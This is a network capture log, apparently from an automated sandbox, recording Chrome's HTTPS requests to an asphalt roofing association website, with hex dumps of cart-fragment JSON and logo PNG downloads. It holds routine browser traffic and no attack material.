2024-04-23 14:54:35 UTC	8192	IN	Data Raw: d2 2b 72 5c 0f 47 7b b8 2f 02 a0 73 bd ea d1 2d 3c ba ff fe 9f d1 24 bb 39 5d 9b 45 dd 7d f4 d6 ef b1 8c 19 d8 42 0c 42 98 ef 23 09 37 b0 20 0c e3 f7 ec df 2e 91 c9 62 59 c8 70 8b ad d6 16 20 c0 02 01 00 08 16 04 00 00 80 05 00 00 08 00 00 08 00 04 08 00 40 20 80 05 60 01 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 80 00 10 10 00 00 00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0c 63 01 03 23 cb 62 6e 7e c9 18 60 02 3d 06 12 88 6d 32 00 80 c0 30 21 c3 b0 65 cb c4 40 00 e2 46 06 0b c4 72 8d a5 b1 4b a2 9d de 62 b7 b8 64 18 59 64 99 31 d9 00 4b 10 cb 12 08 44 16 cb 82 2c 46 90 85 45 2c 8b 20 13 21 00 81 58 90 61 4c 86 cc c8 90 59 16 0b 98 65 61 12 e9 60 23 06 59 97 5c bb 2c e4 6c 09 d9 96 bb 5a 18 d4 59 e5 c2 ad 5d 72 36 41 17 41 ae 6c Data Ascii: +r\G{/s-<$9]E}BB#7 .bYp @ `Xc#bn~`=m20!e@FrKbdYd1KD,FE, !XaLYea`#Y\,lZY]r6AAl
2024-04-23 14:54:35 UTC	8192	IN	Data Raw: 7c cb 93 5f c9 69 bf e2 d9 e3 7d 9e b7 f4 f4 10 59 8b 2b ba 05 a5 a8 0c 96 00 28 ae b0 5e 8f f6 54 b8 5e 0f a7 5c 4f e5 1c 80 c8 cc 22 8b c5 b5 cb 95 d3 43 ed 29 35 5c c5 29 01 c7 15 fc 86 0b fe be 7b ae 7b 70 f4 3c 8e 03 40 af 75 f4 70 3d 67 4c d4 75 a1 1c b8 c2 15 00 70 05 90 91 09 ca 29 38 c8 d7 03 f4 00 80 a3 57 a0 05 a8 ce 83 ab ec 0d 5b ae 3d ed d5 75 c1 e9 69 66 24 4e cf 1f c0 4f ce fd ea b8 cf 51 70 2a 7a 4a dd 51 57 07 0e da 70 e5 71 7c b1 70 d7 72 0e ae 47 1d 65 ee fa d8 44 c2 88 7c 39 fd fe 7b 0f 8d 64 e2 5f 97 7d 77 96 91 09 fe ea 9e 8c 4c d6 df cf 58 58 16 b1 2c 62 01 ca 23 eb 79 3e f1 cd 6d 04 2c 04 04 c0 02 2c 60 01 0b 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 Data Ascii: \|_i}Y+(^T^\O"C)5\){{p<@up=gLup)8W[=uif$NOQp*zJQWpq\|prGeD\|9{d_}wLXX,b#y>m,,`
2024-04-23 14:54:35 UTC	8192	IN	Data Raw: 00 18 c8 02 18 81 a3 21 86 60 96 4d 66 20 00 0b 21 73 13 06 2c 04 63 2c 30 c4 51 a7 c0 84 64 80 41 30 01 60 42 03 6c 01 23 8b 65 c6 c0 04 2c 0b 2c 43 20 64 08 26 0b 2c b2 0d 44 64 4b 32 91 05 02 11 c0 64 99 b1 4c dc 75 0b 6e 10 b2 2c 18 c0 32 00 08 5a 2c 58 b0 88 04 ef ad 77 77 93 6d db 97 fb ba b8 c7 e4 97 b8 6d 42 64 bd 2d 2e 56 61 7f df da b4 af db 01 ba ed 5c 9e f6 02 bd bd 03 00 0b c1 ec 6f b7 65 49 7b 19 fe bb df 39 ae 5f fd 1a fd f2 83 72 c5 83 68 9f 5c 79 f8 f2 91 2d 03 7b ae a5 cb a1 c7 dd 3b bd a3 d7 fb b5 7c 82 e0 80 3a 94 1e 75 d4 a1 07 20 03 ee e8 95 eb 39 5a 87 9e 56 b8 e2 b8 ea 39 d7 e3 50 e0 eb e1 b8 06 be 9e c0 b5 87 aa 96 84 ab d7 f7 8b ca 71 0a e4 59 f1 f5 07 81 4f af e7 0f fe e0 de 73 f0 a2 a7 02 14 bd 03 85 e2 7c ef 5d 0f 4a ed 93 03 Data Ascii: !`Mf !s,c,0QdA0`Bl#e,,C d&,DdK2dLun,2Z,XwwmmBd-.Va\oeI{9_rh\y-{;\|:u 9ZV9PqYOs\|]J
2024-04-23 14:54:35 UTC	8192	IN	Data Raw: 0e dc 22 c9 3e ef 6d c4 8d e9 32 79 27 a1 49 ba 2f 09 59 7f f7 5f 64 58 e4 4d 00 23 2c 5b 58 16 63 21 83 41 70 9b 37 82 cc 59 d0 bc 35 0b 5b 66 73 26 dc b2 c0 32 59 ce fd 4d d8 2d f2 6c 97 34 bf 7f 7f 7f 58 6e df 1a cd e4 c6 b2 08 64 48 16 8f c9 ea 68 78 1d 4b 5c 37 23 c6 2f 32 ae 6a 71 58 06 08 e3 73 92 08 78 13 b7 e5 bb a8 9b 99 5c 4e 78 b1 dd d2 60 ce 02 79 6a 67 c9 7d 21 b3 5a c4 17 8b d5 bd 8b cd c5 66 62 23 91 74 71 fb e5 98 34 8b 2c c1 62 07 81 01 34 18 10 98 19 d5 00 60 64 3e 64 1f 52 0e 82 11 17 93 51 2e a3 82 2b a8 2f 9c a3 38 1a 30 3f 48 f4 64 d9 db f1 46 0f 2e 77 63 59 01 76 13 64 52 a2 4c 00 9a aa 0f c4 72 bd 9e 83 1e f2 a6 b8 82 c3 61 1c 19 08 d3 05 86 91 19 45 18 26 60 19 43 36 04 01 93 c5 03 35 31 9f f4 02 e3 fd f9 16 ae ae 0f 05 e0 ba 6c Data Ascii: ">m2y'I/Y_dXM#,[Xc!Ap7Y5[fs&2YM-l4XndHhxK\7#/2jqXsx\Nx`yjg}!Zfb#tq4,b4`d>dRQ.+/80?HdF.wcYvdRLraE&`C651l
2024-04-23 14:54:35 UTC	8192	IN	Data Raw: d8 3b 18 98 70 8b f3 dc 75 ab 6d a3 6c e9 d9 d3 79 ca b7 df 19 e2 75 a0 35 fd 7b bf d0 b4 d7 fd de c8 ca 6b 55 e6 73 57 6d 3e 6a df 04 7f fd ee b6 7d 26 f3 6e 62 f0 ef d8 6a df 8f 96 99 b7 14 ac ec 9d 86 55 5b 80 61 10 34 bc 09 dd 3d 06 6e 9b 71 04 6b 54 6b a6 a5 8c d6 3d d5 d0 c2 82 98 c5 72 a3 f1 df f6 bd 77 b8 57 f3 1b ad 55 78 e5 02 e3 b9 c7 a2 8d 18 46 36 83 d9 5f 64 3d 66 21 07 06 68 2d 3f 0d eb b7 df c7 17 6f 7c 7a de 02 d8 96 36 df fb 9e f8 c1 dc fb 3c 3f 1e be 3b fe 5c 8e d3 6e 0b d3 24 2e 00 3c 9f 8f 22 98 e1 4f 88 77 ef de 79 37 7a bd 9b d5 8f 23 2c 76 c0 83 81 36 81 68 3d 8f 46 8f e7 69 f9 01 07 da f1 46 d8 47 1e cf e3 79 7b d3 39 ee 25 20 86 d6 e3 f0 ce 39 c8 40 e3 dd 83 76 40 34 20 cd 8b 35 f8 93 b5 c9 47 ee 78 58 7b 16 4c 6b 30 48 dc 9b 6f Data Ascii: ;pumlyu5{kUsWm>j}&nbjU[a4=nqkTk=rwWUxF6_d=f!h-?o\|z6<?;\n$.<"Owy7z#,v6h=FiFGy{9% 9@v@4 5GxX{Lk0Ho
2024-04-23 14:54:35 UTC	8192	IN	Data Raw: 12 bd ef 62 b3 06 76 c9 6f 51 62 9a 10 9f 26 64 5b 70 42 b2 e0 d6 00 32 81 09 4c 70 93 5e 32 59 30 b7 d9 92 cd d4 e0 9a e5 12 01 88 98 64 97 80 4c 26 91 20 15 23 7e c7 8d de ef 8c c8 6c 2e 32 c2 80 09 1d 8e 1d 15 a6 38 ea 40 c5 9c 89 a0 4e 0f d2 cb a4 ce 3e 58 c2 96 a0 c2 30 89 58 f6 db 86 01 43 0f c1 96 b8 99 21 e3 ca a7 ed d6 1a 49 12 f9 8d e1 1a 11 64 62 59 80 45 d8 98 84 c9 7c 84 c9 a9 3a e7 40 29 62 ab eb 35 11 ac 0a 70 ca 4d fc dc ef 28 c7 ca 92 81 61 00 20 db 8c 13 be 91 0f 9f 50 ae 97 2d a8 03 45 16 73 80 e1 58 dc 82 9f d3 3b 2c 76 46 8e 9e 92 81 cb 20 23 62 23 63 66 93 0b 0c 16 1c bd 02 70 0a 70 c5 a9 ac 1c f4 88 01 a1 17 80 81 01 84 91 cc c2 f6 be 20 7a 46 96 11 fb 62 c0 08 00 02 32 18 2e 04 f4 08 a2 0e 84 18 99 ac 0b 80 81 11 8e 09 14 08 7a 4c Data Ascii: bvoQb&d[pB2Lp^2Y0dL& #~l.28@N>X0XC!IdbYE\|:@)b5pM(a P-EsX;,vF #b#cfpp zFb2.zL
2024-04-23 14:54:35 UTC	8192	IN	Data Raw: b2 39 98 05 c4 b2 30 d2 30 92 d3 68 b6 bc 5f e3 7b 9e 2d 46 9e 85 49 3e 83 30 c9 27 59 7e ea 44 06 3b f4 0a 3d 07 38 8c 4f 76 fb c4 8c 03 f8 9d 1f 70 cc 02 d7 bb 2e 7e 3b 50 1c bd 5e c1 a9 c3 b2 60 88 b9 24 dd 24 e2 57 f7 7e 0b 5b 27 5b f7 3d bf f7 43 03 aa 9b 0b 76 b9 9a e4 30 22 16 2c e6 23 fb 58 90 53 00 1c 3d 7a 60 33 26 c8 b2 05 93 65 72 39 13 05 4a 8f 89 82 cc d5 e9 d1 18 07 20 e0 8c 11 c4 b2 cc 42 8c 30 ec 24 60 19 a7 bd 7e 40 af 38 2c 1c 2c ed 2d 83 d0 9b 85 03 05 a7 f8 19 fb 71 c1 24 2c 93 65 88 85 c9 22 66 00 b8 90 0d 91 65 0b b3 c8 32 18 0b 03 62 c0 c8 e7 0b b0 10 11 ac 90 a1 e1 0b b0 4c 24 64 8c 98 65 12 c8 40 96 58 02 8b 09 00 21 2e 00 08 16 cb 32 6f 82 40 e0 77 b0 08 02 19 0b 23 62 61 30 16 46 c0 c5 5c 16 82 63 21 c3 80 58 90 09 c2 22 02 01 Data Ascii: 900h_{-FI>0'Y~D;=8Ovp.~;P^`$$W~['[=Cv0",#XS=z`3&er9J B0$`~@8,,-q$,e"fe2bL$de@X!.2o@w#ba0F\c!X"
2024-04-23 14:54:35 UTC	8192	IN	Data Raw: 26 26 15 e1 fb 2c b2 f4 ef de 07 fb 42 7a 49 9c af b7 39 79 7e f1 2d 91 fb 62 3d ef be 6f f7 48 ba 89 ae 57 03 45 ad fe 3f 41 70 94 44 c9 62 25 87 0d 79 aa 9a 7e a1 98 3f ef 7f 91 0e 59 63 0e fb 56 a6 01 2c 78 c0 50 6c 56 44 50 02 3d 38 ec 76 03 8d 08 08 0e ea a1 b0 c8 b2 cc 62 c0 16 1b 02 2c f1 98 1a 8b b8 7d 22 03 e5 9a 7b 7c 8f 8f 44 1f 19 c3 a5 cd 11 62 9b 98 29 b0 10 4b 8c 4c 30 2c 2c 96 88 2d 4c 26 60 d1 ab 43 85 eb 53 96 05 23 43 86 58 1c ea 10 57 16 23 90 8d 19 51 cc 22 03 f8 82 5c 21 8b 21 8b 60 26 03 62 01 d9 e0 cb e9 81 32 cb f8 b2 08 e8 3e 7e a1 4e 73 2a 26 04 93 25 02 b2 00 04 21 19 c2 c6 60 12 58 58 84 0d c4 0f b6 85 2c 4e a9 f9 62 14 5f 58 38 93 05 08 c0 2c 97 8c c9 88 8c 00 43 88 00 46 26 26 b3 64 90 0d 83 05 33 43 90 99 65 09 62 33 83 2c Data Ascii: &&,BzI9y~-b=oHWE?ApDb%y~?YcV,xPlVDP=8vb,}"{\|Db)KL0,,-L&`CS#CXW#Q"\!!`&b2>~Ns*&%!`XX,Nb_X8,CF&&d3Ceb3,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.6	50139	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:35 UTC	1053	OUT	POST /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Content-Length: 18 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.asphaltroofing.org Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:35 UTC	18	OUT	Data Raw: 74 69 6d 65 3d 31 37 31 33 38 38 34 30 37 34 31 33 39 Data Ascii: time=1713884074139
2024-04-23 14:54:36 UTC	618	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:36 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Access-Control-Allow-Origin: https://www.asphaltroofing.org Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding
2024-04-23 14:54:36 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.6	50141	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:35 UTC	990	OUT	GET /wp-content/uploads/2018/09/ARMA_ARMA-Excellence-Logo-300x147.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0
2024-04-23 14:54:35 UTC	516	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:35 GMT Content-Type: image/png Content-Length: 4573 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 14:55:41 GMT ETag: "1e2180e-11dd-5d9f2863cd540" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:35 UTC	4573	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 93 08 03 00 00 00 03 48 d4 53 00 00 00 48 50 4c 54 45 2c 22 21 4c 2a 27 75 5c 5a 32 10 0c 60 16 0c 00 00 00 a7 a9 ad 72 1f 15 00 00 00 71 1e 14 4e 0e 02 74 20 16 00 00 00 a7 a9 ad 74 20 16 4c 0c 02 00 00 00 fe fd fd a9 a9 ac ab 75 71 74 20 16 5a 13 09 4c 0c 02 00 00 00 a0 4f 33 e7 00 00 00 11 74 52 4e 53 00 08 15 1e 42 47 5b 67 7f 98 bf c2 d4 d9 e8 ef f3 bf a4 e4 de 00 00 11 33 49 44 41 54 78 da ed 5d 8b 96 a2 ba 12 a5 12 02 e1 10 e8 dc 1e 69 ff ff 4f ef aa 47 5e 28 0a 8a dd da 6d d6 cc 08 12 40 b6 bb 76 55 2a 15 a7 aa de ed dd 7e ae a9 ce 76 f8 e7 8e d6 9e bb 6c 83 4d 15 7b f4 8e 5a 3c 5c ee c1 33 82 a5 3f be be be a6 c3 3d ad 3b 73 d9 e6 13 db 20 7b c3 67 68 c3 40 98 34 f4 4e c3 47 a1 Data Ascii: PNGIHDR,HSHPLTE,"!L'u\Z2`rqNt t Luqt ZLO3tRNSBG[g3IDATx]iOG^(m@vU~vlM{Z<\3?=;s {gh@4NG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.6	50142	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:35 UTC	995	OUT	GET /wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-GOLD-300x174.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0
2024-04-23 14:54:35 UTC	516	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:35 GMT Content-Type: image/png Content-Length: 5128 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 31 Jul 2023 19:20:13 GMT ETag: "6020b0-1408-601cd51d66966" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:35 UTC	5128	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 ae 08 03 00 00 00 bb ac c0 20 00 00 00 8a 50 4c 54 45 5a 33 2d 2c 10 0c 78 4b 44 01 01 01 01 00 00 00 00 00 4b 0f 06 6b 1b 12 74 20 17 6d 1c 13 74 20 17 8e 51 32 94 5c 38 b5 98 5a b5 98 5a b5 98 5a a7 a9 ac a7 a9 ac a7 a9 ac a7 a9 ac a7 a9 ac bc a2 9e b5 98 5a 74 20 17 74 20 17 4f 0e 03 4c 0d 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 0d 03 61 17 0d 74 20 17 80 33 2b c7 b1 83 be a4 6e b5 98 5a d4 c3 9f f6 f3 ec ff fe fe ed e5 da e2 d4 c4 a7 a9 ac 4e f9 d0 e1 00 00 00 20 74 52 4e 53 00 0a 10 1b 33 48 3e 46 67 21 98 94 91 98 33 67 33 61 98 c4 ea fe f2 e4 ba c3 ee de f3 c1 9a 6d 0e 98 b0 b7 00 00 13 0d 49 44 41 54 78 da ed 9d 09 73 e2 b8 12 80 91 8f 70 54 cd 2c d7 3e b3 63 Data Ascii: PNGIHDR, PLTEZ3-,xKDKkt mt Q2\8ZZZZt t OLNat 3+nZN tRNS3H>Fg!3g3amIDATxspT,>c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.6	50140	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:35 UTC	997	OUT	GET /wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-300x174.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0
2024-04-23 14:54:35 UTC	516	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:35 GMT Content-Type: image/png Content-Length: 5281 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 31 Jul 2023 19:20:15 GMT ETag: "6020ba-14a1-601cd51fb2fb6" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:35 UTC	5281	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 ae 08 03 00 00 00 bb ac c0 20 00 00 00 75 50 4c 54 45 28 16 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 6c 6c a5 a8 ac a7 a9 ac 96 a3 ab 10 10 10 9b a5 ab a0 a7 ab 28 15 13 3f 27 24 59 2a 25 6b 1c 13 4f 0e 04 74 20 17 74 20 17 74 20 17 74 20 17 74 20 17 74 20 17 6a 1c 13 4f 0e 04 4f 0e 04 4e 0d 03 83 38 30 74 20 17 a7 a9 ac 95 a3 ab cb b3 af ec ed ee cb d2 d6 ff ff ff a9 b4 bb 00 00 00 69 72 4a 61 00 00 00 1c 74 52 4e 53 00 3a 69 9a c0 de f3 fc e9 b3 98 1d 65 35 0a 11 02 1e 42 41 67 97 a5 c4 e1 fc e9 b2 f5 45 f7 cf 00 00 13 bf 49 44 41 54 78 da ed 9d 8b 82 a2 3a 12 86 21 80 ab a2 21 8e a8 f4 cc 9c 6e 07 5b df ff 11 37 75 c9 0d 51 d1 d6 16 6d 33 bb 2d 81 80 f2 f9 a7 52 a9 Data Ascii: PNGIHDR, uPLTE(lll(?'$Y*%kOt t t t t t jOON80t irJatRNS:ie5BAgEIDATx:!!n[7uQm3-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.6	50143	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:35 UTC	997	OUT	GET /wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-300x174.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0
2024-04-23 14:54:35 UTC	516	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:35 GMT Content-Type: image/png Content-Length: 5188 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 31 Jul 2023 19:20:37 GMT ETag: "6020d1-1444-601cd534b7fbd" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:35 UTC	5188	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 ae 08 03 00 00 00 bb ac c0 20 00 00 00 81 50 4c 54 45 48 2d 2a 26 10 0e 6f 5f 54 6b 1e 14 a7 a9 ac 00 00 00 76 65 4c a7 a9 ac a7 a9 ac d5 d6 d7 a7 a9 ac 76 65 4c 83 73 5d 61 2c 1e 57 12 08 4e 0d 03 73 21 18 74 20 17 4d 0d 03 74 20 17 74 20 17 74 20 17 5e 15 0b 46 12 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 20 17 4e 0d 03 84 3a 32 76 65 4c b4 a4 99 99 8d 7a cd c3 ba dd d9 d3 fe fe fe f0 ec ea 88 57 ea 8c 00 00 00 20 74 52 4e 53 00 0a 23 1d 3c 1c 65 8a d1 ce fe 9a fd f9 fb d4 f9 e0 9b c1 9a 62 40 6e e2 f4 bf d5 9e 84 64 3b d2 6b f9 ea 00 00 13 52 49 44 41 54 78 da ed 9d 09 77 e2 38 12 80 11 c6 03 af c7 af 83 17 cc f3 ed 74 0f c6 0e ff ff 07 ae Data Ascii: PNGIHDR, PLTEH-*&o_TkveLveLs]a,WNs!t Mt t t ^Ft N:2veLzW tRNS#<eb@nd;kRIDATxw8t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.6	50145	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
